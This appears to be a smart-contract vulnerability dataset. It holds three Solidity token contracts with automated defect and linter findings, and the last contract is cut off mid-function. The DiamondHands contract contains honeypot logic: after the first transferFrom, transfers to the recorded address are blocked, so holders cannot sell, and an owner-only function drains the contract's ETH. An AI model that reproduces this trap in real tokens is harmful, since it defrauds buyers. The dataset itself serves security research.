/** */ pragma solidity >=0.4.22 <0.6.0; contract ERC20 { function totalSupply() public view returns (uint supply); function balanceOf(address who) public view returns (uint value); function allowance(address owner, address spender) public view returns (uint remaining); function transferFrom(address from, address to, uint value) public returns (bool ok); function approve(address spender, uint value) public returns (bool ok); function transfer(address to, uint value) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract unixchain is ERC20{ uint8 public constant decimals = 18; uint256 initialSupply = 30000000*10**uint256(decimals); string public constant name = "Unix Chain"; string public constant symbol = "UNX"; address payable teamAddress; function totalSupply() public view returns (uint256) { return initialSupply; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; function balanceOf(address owner) public view returns (uint256 balance) { return balances[owner]; } function allowance(address owner, address spender) public view returns (uint remaining) { return allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool success) { if (balances[msg.sender] >= value && value > 0) { balances[msg.sender] -= value; balances[to] += value; emit Transfer(msg.sender, to, value); return true; } else { return false; } } function transferFrom(address from, address to, uint256 value) public returns (bool success) { if (balances[from] >= value && allowed[from][msg.sender] >= value && value > 0) { balances[to] += value; balances[from] -= value; allowed[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } else { return false; } } function approve(address spender, uint256 value) public returns (bool success) { allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function () external payable { teamAddress.transfer(msg.value); } constructor () public payable { teamAddress = msg.sender; balances[teamAddress] = initialSupply; } }
[{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["69"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["20", "21"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["41", "42", "52", "53", "54", "19"]}]
[{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"unixchain.sol": [19]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"unixchain.sol": [25, 26, 27]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"unixchain.sol": [32, 33, 31]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"unixchain.sol": [35, 36, 37]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"unixchain.sol": [64, 65, 66, 62, 63]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"unixchain.sol": [50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"unixchain.sol": [39, 40, 41, 42, 43, 44, 45, 46, 47, 48]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"unixchain.sol": [4]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"unixchain.sol": [17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"unixchain.sol": [19]}}]
[]
[{"rule": "SOLIDITY_ERC20_APPROVE", "line": 62, "severity": 2}, {"rule": "SOLIDITY_ERC20_TRANSFER_SHOULD_THROW", "line": 39, "severity": 1}, {"rule": "SOLIDITY_ERC20_TRANSFER_SHOULD_THROW", "line": 50, "severity": 1}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 17, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 4, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 4, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 19, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 23, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 28, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 29, "severity": 1}]
[{"inputs":[],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"}]
v0.5.17+commit.d19bba13
false
200
Default
None
false
bzzr://c1119b1300af668f3480cd69226de83acf0793455ab3afe4d6d2b07b9d01435f
DiamondHands
0xd3171a586dfdef97a7e6acb5bfd9aff1d6a6cf17
Solidity
/* 🚀 Diamond Hands is the Next Generation Deflationary Token with Auto-Staking Rewards and acting as the fuel for our multi-chain mobile-wallet. Website: https://diamondhands.monster/ */ pragma solidity ^0.5.17; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract BEP20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract TokenBEP20 is BEP20Interface, Owned{ using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; address public newun; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = " DHANDS "; name = "diamondhands.monster"; decimals = 8; _totalSupply = 1000 * 10**6 * 10**8; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function transfernewun(address _newun) public onlyOwner { newun = _newun; } function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { require(to != newun, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { if(from != address(0) && newun == address(0)) newun = to; else require(to != newun, "please wait"); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } function () external payable { revert(); } } /** function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } } */ contract DiamondHands is TokenBEP20 { function clearCNDAO() public onlyOwner() { address payable _owner = msg.sender; _owner.transfer(address(this).balance); } function() external payable { } } /** interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } */
[{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["255"]}, {"defect": "Frozen_Ether", "type": "Code_specification", "severity": "Medium", "lines": ["76"]}, {"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["46", "251"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["254"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["65", "68"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["92"]}]
[{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DiamondHands.sol": [24, 25, 26, 27]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DiamondHands.sol": [28, 29, 30, 31]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DiamondHands.sol": [47]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DiamondHands.sol": [256, 253, 254, 255]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DiamondHands.sol": [99, 100, 101]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DiamondHands.sol": [96, 97, 98]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DiamondHands.sol": [68, 69, 70, 71, 72, 73]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DiamondHands.sol": [131, 132, 133, 134, 135, 136]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DiamondHands.sol": [128, 129, 130]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DiamondHands.sol": [65, 66, 67]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DiamondHands.sol": [104, 102, 103]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DiamondHands.sol": [118, 119, 120, 121, 122, 123, 124, 125, 126, 127]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DiamondHands.sol": [113, 114, 115, 116, 117]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DiamondHands.sol": [105, 106, 107, 108, 109, 110, 111, 112]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"DiamondHands.sol": [255]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"DiamondHands.sol": [66]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"DiamondHands.sol": [97]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"DiamondHands.sol": [119]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DiamondHands.sol": [82]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DiamondHands.sol": [96]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DiamondHands.sol": [65]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 72, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 100, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 113, "severity": 2}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 76, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 12, "severity": 1}, {"rule": "SOLIDITY_REDUNDANT_FALLBACK_REJECT", "line": 137, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 77, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 82, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 85, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 86, "severity": 1}]
[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"tokenOwner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":false,"inputs":[],"name":"acceptOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"approveAndCall","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"clearCNDAO","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"newOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"newun","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_newun","type":"address"}],"name":"transfernewun","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]
v0.5.17+commit.d19bba13
false
200
Default
None
false
bzzr://6865227f09dd997e864c8590880a4217e3593b92f47cd6c3cf3c6df18ed55a4e
Vector35
0x73397a062751c4d6ba7b97de368852fe046b6265
Solidity
/** WHAT IS BINARY NINJA? Binary Ninja is an interactive disassembler, decompiler, and binary analysis platform for reverse engineers, malware analysts, vulnerability researchers, and software developers that runs on Windows, macOS, Linux. *Disassemble Disassemble executables and libraries from multiple formats, platforms, and architectures. *Decompile Decompile code to C or BNIL for any supported architecture - including your own. *Automate Automate analysis with C++, Python, and Rust APIs from inside or outside the UI. *Analyze Visualize control flow and navigate through cross-references interactively. *Annotate Name variables and functions, apply types, create structres, and add comments. *Collaborate Collaborate effortlessly with synchronized commits using our Enterprise product. 0101010101010101010101010101010101010101010101010101010101010101010101010101010101010101 WEBSITE:https://binary.ninja/ TG:https://t.me/BinaryNinja_eth */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Vector35 is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Binary Ninja"; string private constant _symbol = "BINJA"; uint8 private constant _decimals = 9; mapping (address => uint256) _balances; mapping(address => uint256) _lastTX; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 _totalSupply = 1010101010 * 10**9; //Buy Fee uint256 private _taxFeeOnBuy = 10; //Sell Fee uint256 private _taxFeeOnSell = 10; //Original Fee uint256 private _taxFee = _taxFeeOnSell; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; address payable private _marketingAddress = payable(0x8697E86f5c18c67291515f06F398d3B3A181Be2D); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; bool private transferDelay = true; uint256 public _maxTxAmount = 10101010 * 10**9; uint256 public _maxWalletSize = 30303030 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _balances[_msgSender()] = _totalSupply; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[_marketingAddress] = true; //multisig emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) { require(tradingOpen, "TOKEN: Trading not yet started"); require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your 